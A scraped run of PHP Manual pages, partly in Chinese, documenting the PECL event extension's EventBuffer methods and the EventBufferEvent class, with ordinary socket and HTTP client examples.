User Contributed Notes

There are no user contributed notes for this page.


Constructs EventBuffer object

  • ? EventBuffer::appendFrom
  • EventBuffer::copyout ?
  • PHP Manual
  • EventBuffer
  • Constructs EventBuffer object

EventBuffer::__construct

(PECL event >= 1.2.6-beta)

EventBuffer::__construct — Constructs EventBuffer object

说明

public EventBuffer::__construct()

Constructs EventBuffer object

参数

此函数没有参数。

返回值

Returns EventBuffer object.

User Contributed Notes

There are no user contributed notes for this page.


Copies out specified number of bytes from the front of the buffer

  • ? EventBuffer::__construct
  • EventBuffer::drain ?
  • PHP Manual
  • EventBuffer
  • Copies out specified number of bytes from the front of the buffer

EventBuffer::copyout

(PECL event >= 1.2.6-beta)

EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer

说明

public EventBuffer::copyout( string &$data , int $max_bytes ): int

Behaves just like EventBuffer::read() , but does not drain any data from the buffer. I.e. it copies the first max_bytes bytes from the front of the buffer into data . If there are fewer than max_bytes bytes available, the function copies all the bytes there are.

参数

data

Output string.

max_bytes

The number of bytes to copy.

返回值

Returns the number of bytes copied, or -1 on failure.

参见

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Removes specified number of bytes from the front of the buffer without copying it anywhere

  • ? EventBuffer::copyout
  • EventBuffer::enableLocking ?
  • PHP Manual
  • EventBuffer
  • Removes specified number of bytes from the front of the buffer without copying it anywhere

EventBuffer::drain

(PECL event >= 1.2.6-beta)

EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere

说明

public EventBuffer::drain( int $len ): bool

Behaves as EventBuffer::read() , except that it does not copy the data: it just removes it from the front of the buffer.

参数

len

The number of bytes to remove from the buffer.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


说明

  • ? EventBuffer::drain
  • EventBuffer::expand ?
  • PHP Manual
  • EventBuffer
  • 说明

EventBuffer::enableLocking

(PECL event >= 1.2.6-beta)

EventBuffer::enableLocking —

说明

public EventBuffer::enableLocking(): void

Enable locking on an EventBuffer so that it can safely be used by multiple threads at the same time. When locking is enabled, the lock will be held when callbacks are invoked. This could result in deadlock if you aren't careful. Plan accordingly!

参数

此函数没有参数。

返回值

没有返回值。

参见

  • » Evbuffers and Thread-safety

User Contributed Notes

There are no user contributed notes for this page.


Reserves space in buffer

  • ? EventBuffer::enableLocking
  • EventBuffer::freeze ?
  • PHP Manual
  • EventBuffer
  • Reserves space in buffer

EventBuffer::expand

(PECL event >= 1.2.6-beta)

EventBuffer::expand — Reserves space in buffer

说明

public EventBuffer::expand( int $len ): bool

Alters the last chunk of memory in the buffer, or adds a new chunk, such that the buffer is now large enough to contain len bytes without any further allocations.

参数

len

The number of bytes to reserve for the buffer

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Prevent calls that modify an event buffer from succeeding

  • ? EventBuffer::expand
  • EventBuffer::lock ?
  • PHP Manual
  • EventBuffer
  • Prevent calls that modify an event buffer from succeeding

EventBuffer::freeze

(PECL event >= 1.2.6-beta)

EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding

说明

public EventBuffer::freeze( bool $at_front ): bool

Prevent calls that modify an event buffer from succeeding

参数

at_front

Whether to disable changes to the front or end of the buffer.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBuffer::unfreeze() - Re-enable calls that modify an event buffer

User Contributed Notes

There are no user contributed notes for this page.


Acquires a lock on buffer

  • ? EventBuffer::freeze
  • EventBuffer::prepend ?
  • PHP Manual
  • EventBuffer
  • Acquires a lock on buffer

EventBuffer::lock

(PECL event >= 1.2.6-beta)

EventBuffer::lock — Acquires a lock on buffer

说明

public EventBuffer::lock(): void

Acquires a lock on buffer. Can be used in pair with EventBuffer::unlock() to make a set of operations atomic, i.e. thread-safe. Note, it is not needed to lock buffers for individual operations. When locking is enabled(see EventBuffer::enableLocking() ), individual operations on event buffers are already atomic.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EventBuffer::unlock() - Releases lock acquired by EventBuffer::lock

User Contributed Notes

There are no user contributed notes for this page.


Prepend data to the front of the buffer

  • ? EventBuffer::lock
  • EventBuffer::prependBuffer ?
  • PHP Manual
  • EventBuffer
  • Prepend data to the front of the buffer

EventBuffer::prepend

(PECL event >= 1.2.6-beta)

EventBuffer::prepend — Prepend data to the front of the buffer

说明

public EventBuffer::prepend( string $data ): bool

Prepend data to the front of the buffer.

参数

data

String to be prepended to the front of the buffer.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBuffer::prependBuffer() - Moves all data from source buffer to the front of current buffer
  • EventBuffer::add() - Append data to the end of an event buffer
  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer

User Contributed Notes

There are no user contributed notes for this page.


Moves all data from source buffer to the front of current buffer

  • ? EventBuffer::prepend
  • EventBuffer::pullup ?
  • PHP Manual
  • EventBuffer
  • Moves all data from source buffer to the front of current buffer

EventBuffer::prependBuffer

(PECL event >= 1.2.6-beta)

EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer

说明

public EventBuffer::prependBuffer( EventBuffer $buf ): bool

Behaves as EventBuffer::addBuffer() , except that it moves data to the front of the buffer.

参数

buf

Source buffer.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBuffer::add() - Append data to the end of an event buffer
  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer
  • EventBuffer::prepend() - Prepend data to the front of the buffer

User Contributed Notes

There are no user contributed notes for this page.


Linearizes data within buffer and returns it's contents as a string

  • ? EventBuffer::prependBuffer
  • EventBuffer::read ?
  • PHP Manual
  • EventBuffer
  • Linearizes data within buffer and returns it's contents as a string

EventBuffer::pullup

(PECL event >= 1.2.6-beta)

EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string

说明

public EventBuffer::pullup( int $size ): string

"Linearizes" the first size bytes of the buffer, copying or moving them as needed to ensure that they are all contiguous and occupying the same chunk of memory. If size is negative, the function linearizes the entire buffer.

Warning

Calling EventBuffer::pullup() with a large size can be quite slow, since it potentially needs to copy the entire buffer's contents.

参数

size

The number of bytes required to be contiguous within the buffer.

返回值

If size is greater than the number of bytes in the buffer, the function returns null. Otherwise, EventBuffer::pullup() returns string.

参见

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Read data from an evbuffer and drain the bytes read

  • ? EventBuffer::pullup
  • EventBuffer::readFrom ?
  • PHP Manual
  • EventBuffer
  • Read data from an evbuffer and drain the bytes read

EventBuffer::read

(PECL event >= 1.6.0)

EventBuffer::read — Read data from an evbuffer and drain the bytes read

说明

public EventBuffer::read( int $max_bytes ): string

Read the first max_bytes from the buffer and drain the bytes read. If more max_bytes are requested than are available in the buffer, it only extracts as many bytes as available.

参数

max_bytes

Maxmimum number of bytes to read from the buffer.

返回值

Returns string read, or false on failure.

更新日志

版本 | 说明
PECL event 1.6.0 | Renamed EventBuffer::read()(the old method name) to EventBuffer::read(). EventBuffer::read() now takes only max_bytes argument; returns string instead of integer.

参见

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

reyad dot attiyat at gmail dot com 03-Mar-2016 10:30
This function is actually called readFrom(int fd, int max_bytes)


Read data from a file onto the end of the buffer

  • ? EventBuffer::read
  • EventBuffer::readLine ?
  • PHP Manual
  • EventBuffer
  • Read data from a file onto the end of the buffer

EventBuffer::readFrom

(PECL event >= 1.7.0)

EventBuffer::readFrom — Read data from a file onto the end of the buffer

说明

public EventBuffer::read( mixed $fd , int $howmuch ): int

Read data from the file specified by fd onto the end of the buffer.

参数

fd

Socket resource, stream, or numeric file descriptor.

howmuch

Maxmimum number of bytes to read.

返回值

Returns the number of bytes read, or false on failure.

参见

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Extracts a line from the front of the buffer

  • ? EventBuffer::readFrom
  • EventBuffer::search ?
  • PHP Manual
  • EventBuffer
  • Extracts a line from the front of the buffer

EventBuffer::readLine

(PECL event >= 1.2.6-beta)

EventBuffer::readLine — Extracts a line from the front of the buffer

说明

public EventBuffer::readLine( int $eol_style ): string

Extracts a line from the front of the buffer and returns it in a newly allocated string. If there is not a whole line to read, the function returns null. The line terminator is not included in the copied string.

参数

eol_style

One of EventBuffer:EOL_* constants .

返回值

On success returns the line read from the buffer, otherwise null.

参见

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Scans the buffer for an occurrence of a string

  • ? EventBuffer::readLine
  • EventBuffer::searchEol ?
  • PHP Manual
  • EventBuffer
  • Scans the buffer for an occurrence of a string

EventBuffer::search

(PECL event >= 1.2.6-beta)

EventBuffer::search — Scans the buffer for an occurrence of a string

说明

public EventBuffer::search( string $what , int $start = -1 , int $end = -1 ): mixed

Scans the buffer for an occurrence of the string what . It returns numeric position of the string, or false if the string was not found.

If the start argument is provided, it points to the position at which the search should begin; otherwise, the search is performed from the start of the string. If end argument provided, the search is performed between start and end buffer positions.

参数

what

String to search.

start

Start search position.

end

End search position.

返回值

Returns numeric position of the first occurrence of the string in the buffer, or false if string is not found.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

Example #1 EventBuffer::search() example

<?php
// Count total occurrences of 'str' in 'buf'
function count_instances($buf, $str) {
$total = 0;
$p = 0;
$i = 0;

while (1) {
$p = $buf->search($str, $p);
if ($p === FALSE) {
break;
}
++$total;
++$p;
}

return $total;
}

$buf = new EventBuffer();
$buf->add("Some string within a string inside another string");
var_dump(count_instances($buf, "str"));
?>

以上示例的输出类似于：

int(3)

参见

  • EventBuffer::searchEol() - Scans the buffer for an occurrence of an end of line

User Contributed Notes

There are no user contributed notes for this page.


Scans the buffer for an occurrence of an end of line

  • ? EventBuffer::search
  • EventBuffer::substr ?
  • PHP Manual
  • EventBuffer
  • Scans the buffer for an occurrence of an end of line

EventBuffer::searchEol

(PECL event >= 1.5.0)

EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line

说明

public EventBuffer::searchEol( int $start = -1 , int $eol_style = EventBuffer::EOL_ANY ): mixed

Scans the buffer for an occurrence of an end of line specified by eol_style parameter . It returns numeric position of the string, or false if the string was not found.

If the start argument is provided, it represents the position at which the search should begin; otherwise, the search is performed from the start of the string. If end argument provided, the search is performed between start and end buffer positions.

参数

start

Start search position.

eol_style

One of EventBuffer:EOL_* constants .

返回值

Returns numeric position of the first occurrence of end-of-line symbol in the buffer, or false if not found.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

参见

  • EventBuffer::search() - Scans the buffer for an occurrence of a string

User Contributed Notes

There are no user contributed notes for this page.


Substracts a portion of the buffer data

  • ? EventBuffer::searchEol
  • EventBuffer::unfreeze ?
  • PHP Manual
  • EventBuffer
  • Substracts a portion of the buffer data

EventBuffer::substr

(PECL event >= 1.6.0)

EventBuffer::substr — Substracts a portion of the buffer data

说明

public EventBuffer::substr( int $start , int $length = ?): string

Substracts up to length bytes of the buffer data beginning at start position.

参数

start

The start position of data to be substracted.

length

Maximum number of bytes to substract.

返回值

Returns the data substracted as a string on success, or false on failure.

参见

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

User Contributed Notes

There are no user contributed notes for this page.


Re-enable calls that modify an event buffer

  • ? EventBuffer::substr
  • EventBuffer::unlock ?
  • PHP Manual
  • EventBuffer
  • Re-enable calls that modify an event buffer

EventBuffer::unfreeze

(PECL event >= 1.2.6-beta)

EventBuffer::unfreeze — Re-enable calls that modify an event buffer

说明

public EventBuffer::unfreeze( bool $at_front ): bool

Re-enable calls that modify an event buffer.

参数

at_front

Whether to enable events at the front or at the end of the buffer.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBuffer::freeze() - Prevent calls that modify an event buffer from succeeding

User Contributed Notes

There are no user contributed notes for this page.


Releases lock acquired by EventBuffer::lock

  • ? EventBuffer::unfreeze
  • EventBuffer::write ?
  • PHP Manual
  • EventBuffer
  • Releases lock acquired by EventBuffer::lock

EventBuffer::unlock

(PECL event >= 1.2.6-beta)

EventBuffer::unlock — Releases lock acquired by EventBuffer::lock

说明

public EventBuffer::unlock(): bool

Releases lock acquired by EventBuffer::lock() .

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBuffer::lock() - Acquires a lock on buffer

User Contributed Notes

There are no user contributed notes for this page.


Write contents of the buffer to a file or socket

  • ? EventBuffer::unlock
  • EventBufferEvent ?
  • PHP Manual
  • EventBuffer
  • Write contents of the buffer to a file or socket

EventBuffer::write

(PECL event >= 1.6.0)

EventBuffer::write — Write contents of the buffer to a file or socket

说明

public EventBuffer::write( mixed $fd , int $howmuch = ?): int

Write contents of the buffer to a file descriptor. The buffer will be drained after the bytes have been successfully written.

参数

fd

Socket resource, stream or numeric file descriptor associated normally associated with a socket.

howmuch

The maximum number of bytes to write.

返回值

Returns the number of bytes written, or false on error.

参见

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

User Contributed Notes

There are no user contributed notes for this page.


The EventBufferEvent class

(PECL event >= 1.2.6-beta)

简介

Represents Libevent's buffer event.

Usually an application wants to perform some amount of data buffering in addition to just responding to events. When we want to write data, for example, the usual pattern looks like:

  1. Decide that we want to write some data to a connection; put that data in a buffer.

  2. Wait for the connection to become writable

  3. Write as much of the data as we can

  4. Remember how much we wrote, and if we still have more data to write, wait for the connection to become writable again.

This buffered I/O pattern is common enough that Libevent provides a generic mechanism for it. A "buffer event" consists of an underlying transport (like a socket), a read buffer, and a write buffer. Instead of regular events, which give callbacks when the underlying transport is ready to be read or written, a buffer event invokes its user-supplied callbacks when it has read or written enough data.

类摘要

final class EventBufferEvent {
/* 常量 */
const int READING = 1;
const int WRITING = 2;
const int EOF = 16;
const int ERROR = 32;
const int TIMEOUT = 64;
const int CONNECTED = 128;
const int OPT_CLOSE_ON_FREE = 1;
const int OPT_THREADSAFE = 2;
const int OPT_DEFER_CALLBACKS = 4;
const int OPT_UNLOCK_CALLBACKS = 8;
const int SSL_OPEN = 0;
const int SSL_CONNECTING = 1;
const int SSL_ACCEPTING = 2;
/* 属性 */
public int $fd;
public int $priority;
public readonly EventBuffer $input;
public readonly EventBuffer $output;
/* 方法 */
public close(): void
public connect( string $addr ): bool
public connectHost(
EventDnsBase $dns_base ,
string $hostname ,
int $port ,
int $family = EventUtil::AF_UNSPEC
): bool
public __construct(
EventBase $base ,
mixed $socket = null ,
int $options = 0 ,
callable $readcb = null ,
callable $writecb = null ,
callable $eventcb = null ,
mixed $arg = null
)
public static createPair( EventBase $base , int $options = 0 ): array
public disable( int $events ): bool
public enable( int $events ): bool
public free(): void
public getDnsErrorString(): string
public getEnabled(): int
public getInput(): EventBuffer
public getOutput(): EventBuffer
public read( int $size ): string
public readBuffer( EventBuffer $buf ): bool
public setCallbacks(
callable $readcb ,
callable $writecb ,
callable $eventcb ,
mixed $arg = ?
): void
public setPriority( int $priority ): bool
public setTimeouts( float $timeout_read , float $timeout_write ): bool
public setWatermark( int $events , int $lowmark , int $highmark ): void
public sslError(): string
public static sslFilter(
EventBase $base ,
EventBufferEvent $underlying ,
EventSslContext $ctx ,
int $state ,
int $options = 0
): EventBufferEvent
public sslGetCipherInfo(): string
public sslGetCipherName(): string
public sslGetCipherVersion(): string
public sslGetProtocol(): string
public sslRenegotiate(): void
public static sslSocket(
EventBase $base ,
mixed $socket ,
EventSslContext $ctx ,
int $state ,
int $options = ?
): EventBufferEvent
public write( string $data ): bool
public writeBuffer( EventBuffer $buf ): bool
}

属性

fd

Numeric file descriptor associated with the buffer event. Normally represents a bound socket. Equals to null, if there is no file descriptor(socket) associated with the buffer event.

priority

The priority of the events used to implement the buffer event.

input

Underlying input buffer object( EventBuffer )

output

Underlying output buffer object( EventBuffer )

预定义常量

EventBufferEvent::READING

An event occurred during a read operation on the bufferevent. See the other flags for which event it was.

EventBufferEvent::WRITING

An event occurred during a write operation on the bufferevent. See the other flags for which event it was.

EventBufferEvent::EOF

Got an end-of-file indication on the buffer event.

EventBufferEvent::ERROR

An error occurred during a bufferevent operation. For more information on what the error was, call EventUtil::getLastSocketErrno() and/or EventUtil::getLastSocketError() .

EventBufferEvent::TIMEOUT

EventBufferEvent::CONNECTED

Finished a requested connection on the bufferevent.

EventBufferEvent::OPT_CLOSE_ON_FREE

When the buffer event is freed, close the underlying transport. This will close an underlying socket, free an underlying buffer event, etc.

EventBufferEvent::OPT_THREADSAFE

Automatically allocate locks for the bufferevent, so that it's safe to use from multiple threads.

EventBufferEvent::OPT_DEFER_CALLBACKS

When this flag is set, the bufferevent defers all of its callbacks. See » Fast portable non-blocking network programming with Libevent, Deferred callbacks .

EventBufferEvent::OPT_UNLOCK_CALLBACKS

By default, when the bufferevent is set up to be threadsafe, the buffer event's locks are held whenever the any user-provided callback is invoked. Setting this option makes Libevent release the buffer event's lock when it's invoking the callbacks.

EventBufferEvent::SSL_OPEN

The SSL handshake is done

EventBufferEvent::SSL_CONNECTING

SSL is currently performing negotiation as a client

EventBufferEvent::SSL_ACCEPTING

SSL is currently performing negotiation as a server

Table of Contents

  • EventBufferEvent::close — Closes file descriptor associated with the current buffer event
  • EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket
  • EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving
  • EventBufferEvent::__construct — Constructs EventBufferEvent object
  • EventBufferEvent::createPair — Creates two buffer events connected to each other
  • EventBufferEvent::disable — Disable events read, write, or both on a buffer event
  • EventBufferEvent::enable — Enable events read, write, or both on a buffer event
  • EventBufferEvent::free — Free a buffer event
  • EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt
  • EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event
  • EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event
  • EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event
  • EventBufferEvent::read — Read buffer's data
  • EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf
  • EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks
  • EventBufferEvent::setPriority — Assign a priority to a bufferevent
  • EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event
  • EventBufferEvent::setWatermark — Adjusts read and/or write watermarks
  • EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event
  • EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event
  • EventBufferEvent::sslGetCipherInfo — Returns a textual description of the cipher
  • EventBufferEvent::sslGetCipherName — Returns the current cipher name of the SSL connection
  • EventBufferEvent::sslGetCipherVersion — Returns version of cipher used by current SSL connection
  • EventBufferEvent::sslGetProtocol — Returns the name of the protocol used for current SSL connection
  • EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation
  • EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket
  • EventBufferEvent::write — Adds data to a buffer event's output buffer
  • EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


Closes file descriptor associated with the current buffer event

  • ? EventBufferEvent
  • EventBufferEvent::connect ?
  • PHP Manual
  • EventBufferEvent
  • Closes file descriptor associated with the current buffer event

EventBufferEvent::close

(PECL event >= 1.10.0)

EventBufferEvent::close — Closes file descriptor associated with the current buffer event

说明

public EventBufferEvent::close(): void

Closes file descriptor associated with the current buffer event.

This method may be used in cases when the EventBufferEvent::OPT_CLOSE_ON_FREE option is not appropriate.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Connect buffer event's file descriptor to given address or UNIX socket

  • ? EventBufferEvent::close
  • EventBufferEvent::connectHost ?
  • PHP Manual
  • EventBufferEvent
  • Connect buffer event's file descriptor to given address or UNIX socket

EventBufferEvent::connect

(PECL event >= 1.2.6-beta)

EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket

说明

public EventBufferEvent::connect( string $addr ): bool

Connect buffer event's file descriptor to given address(optionally with port), or a UNIX domain socket.

If socket is not assigned to the buffer event, this function allocates a new socket and makes it non-blocking internally.

To resolve DNS names(asyncronously), use EventBufferEvent::connectHost() method.

参数

addr

Should contain an IP address with optional port number, or a path to UNIX domain socket. Recognized formats are:

[IPv6Address]:port
[IPv6Address]
IPv6Address
IPv4Address:port
IPv4Address
unix:path
Note, 'unix:' prefix is currently not case sensitive.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventBufferEvent::connect() example

<?php
/*
* 1. Connect to 127.0.0.1 at port 80
* by means of EventBufferEvent::connect().
*
* 2. Request /index.cphp via HTTP/1.0
* using the output buffer.
*
* 3. Asyncronously read the response and print it to stdout.
*/

/* Read callback */
function readcb($bev, $base) {
$input = $bev->getInput();

while (($n = $input->remove($buf, 1024)) > 0) {
echo $buf;
}
}

/* Event callback */
function eventcb($bev, $events, $base) {
if ($events & EventBufferEvent::CONNECTED) {
echo "Connected.\n";
} elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
if ($events & EventBufferEvent::ERROR) {
echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
}

echo "Closing\n";
$base->exit();
exit("Done\n");
}
}

$base = new EventBase();

echo "step 1\n";
$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS);
if (!$bev) {
exit("Failed creating bufferevent socket\n");
}

echo "step 2\n";
$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

echo "step 3\n";
/* Send request */
$output = $bev->getOutput();
if (!$output->add(
"GET /index.cphp HTTP/1.0\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Failed adding request to output buffer\n");
}

/* Connect to the host syncronously.
* We know the IP, and don't need to resolve DNS. */
if (!$bev->connect("127.0.0.1:80")) {
exit("Can't connect to host\n");
}

/* Dispatch pending events */
$base->dispatch();

以上示例的输出类似于：

step 1
step 2
step 3
Connected.
HTTP/1.1 200 OK
Server: nginx/1.2.6
Date: Sat, 09 Mar 2013 10:06:58 GMT
Content-Type: text/html; CHARSET=gb2312
Connection: close
X-Powered-By: PHP/5.4.11--pl2-gentoo

sdfsdfsf
Closing
Done

Example #2 Connect to UNIX domain socket which presumably is served by a server, read response from the server and output it to the console

<?php
class MyUnixSocketClient {
private $base, $bev;

function __construct($base, $sock_path) {
$this->base = $base;
$this->bev = new EventBufferEvent($base, NULL, EventBufferEvent::OPT_CLOSE_ON_FREE,
array ($this, "read_cb"), NULL, array ($this, "event_cb"));

if (!$this->bev->connect("unix:$sock_path")) {
trigger_error("Failed to connect to socket `$sock_path'", E_USER_ERROR);
}

$this->bev->enable(Event::READ);
}

function __destruct() {
if ($this->bev) {
$this->bev->free();
$this->bev = NULL;
}
}

function dispatch() {
$this->base->dispatch();
}

function read_cb($bev, $unused) {
$in = $bev->input;

printf("Received %ld bytes\n", $in->length);
printf("----- data ----\n");
printf("%ld:\t%s\n", (int) $in->length, $in->pullup(-1));

$this->bev->free();
$this->bev = NULL;
$this->base->exit(NULL);
}

function event_cb($bev, $events, $unused) {
if ($events & EventBufferEvent::ERROR) {
echo "Error from bufferevent\n";
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
$bev->free();
$bev = NULL;
} elseif ($events & EventBufferEvent::CONNECTED) {
$bev->output->add("test\n");
}
}
}

if ($argc <= 1) {
exit("Socket path is not provided\n");
}
$sock_path = $argv[1];

$base = new EventBase();
$cl = new MyUnixSocketClient($base, $sock_path);
$cl->dispatch();
?>

以上示例的输出类似于：

Received 5 bytes
----- data ----
5:  test

参见

  • EventBufferEvent::connectHost() - Connects to a hostname with optionally asyncronous DNS resolving

User Contributed Notes

There are no user contributed notes for this page.


Connects to a hostname with optionally asyncronous DNS resolving

  • ? EventBufferEvent::connect
  • EventBufferEvent::__construct ?
  • PHP Manual
  • EventBufferEvent
  • Connects to a hostname with optionally asyncronous DNS resolving

EventBufferEvent::connectHost

(PECL event >= 1.2.6-beta)

EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving

说明

public EventBufferEvent::connectHost(
EventDnsBase $dns_base ,
string $hostname ,
int $port ,
int $family = EventUtil::AF_UNSPEC
): bool

Resolves the DNS name hostname, looking for addresses of type family ( EventUtil::AF_* constants). If the name resolution fails, it invokes the event callback with an error event. If it succeeds, it launches a connection attempt just as EventBufferEvent::connect() would.

dns_base is optional. May be null, or an object created with EventDnsBase::__construct() . For asyncronous hostname resolving pass a valid event dns base resource. Otherwise the hostname resolving will block.

Note:

EventDnsBase is available only if Event configured --with-event-extra ( event_extra library, libevent protocol-specific functionality support including HTTP, DNS, and RPC ).

Note:

EventBufferEvent::connectHost() requires libevent-2.0.3-alpha or greater.

参数

dns_base

Object of EventDnsBase in case if DNS is to be resolved asyncronously. Otherwise null.

hostname

Hostname to connect to. Recognized formats are:

www.example.com (hostname)
 1.2.3.4 (ipv4address)
 ::1 (ipv6address)
[::1] ([ipv6address])

port

Port number

family

Address family. EventUtil::AF_UNSPEC , EventUtil::AF_INET , or EventUtil::AF_INET6 . See EventUtil constants .

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventBufferEvent::connectHost() example

<?php
/* Read callback */
function readcb($bev, $base) {
//$input = $bev->input; //$bev->getInput();

//$pos = $input->search("TTP");
$pos = $bev->input->search("TTP");

while (($n = $bev->input->remove($buf, 1024)) > 0) {
echo $buf;
}
}

/* Event callback */
function eventcb($bev, $events, $base) {
if ($events & EventBufferEvent::CONNECTED) {
echo "Connected.\n";
} elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
if ($events & EventBufferEvent::ERROR) {
echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
}

echo "Closing\n";
$base->exit();
exit("Done\n");
}
}

$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // We'll use async DNS resolving
if (!$dns_base) {
exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
"readcb", /* writecb */ NULL, "eventcb", $base
);
if (!$bev) {
exit("Failed creating bufferevent socket\n");
}

//$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

$output = $bev->output; //$bev->getOutput();
if (!$output->add(
"GET {$argv[2]} HTTP/1.0\r\n".
"Host: {$argv[1]}\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Failed adding request to output buffer\n");
}

if (!$bev->connectHost($dns_base, $argv[1], 80, EventUtil::AF_UNSPEC)) {
exit("Can't connect to host {$argv[1]}\n");
}

$base->dispatch();
?>

以上示例的输出类似于：

Connected.
HTTP/1.0 301 Moved Permanently
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=gb2312
Date: Sat, 09 Mar 2013 12:21:19 GMT
Expires: Mon, 08 Apr 2013 12:21:19 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;CHARSET=gb2312">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.co.uk/">here</A>.
</BODY></HTML>
Closing
Done

参见

  • EventBufferEvent::connect() - Connect buffer event's file descriptor to given address or UNIX socket

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventBufferEvent object

  • ? EventBufferEvent::connectHost
  • EventBufferEvent::createPair ?
  • PHP Manual
  • EventBufferEvent
  • Constructs EventBufferEvent object

EventBufferEvent::__construct

(PECL event >= 1.2.6-beta)

EventBufferEvent::__construct — Constructs EventBufferEvent object

说明

public EventBufferEvent::__construct(
EventBase $base ,
mixed $socket = null ,
int $options = 0 ,
callable $readcb = null ,
callable $writecb = null ,
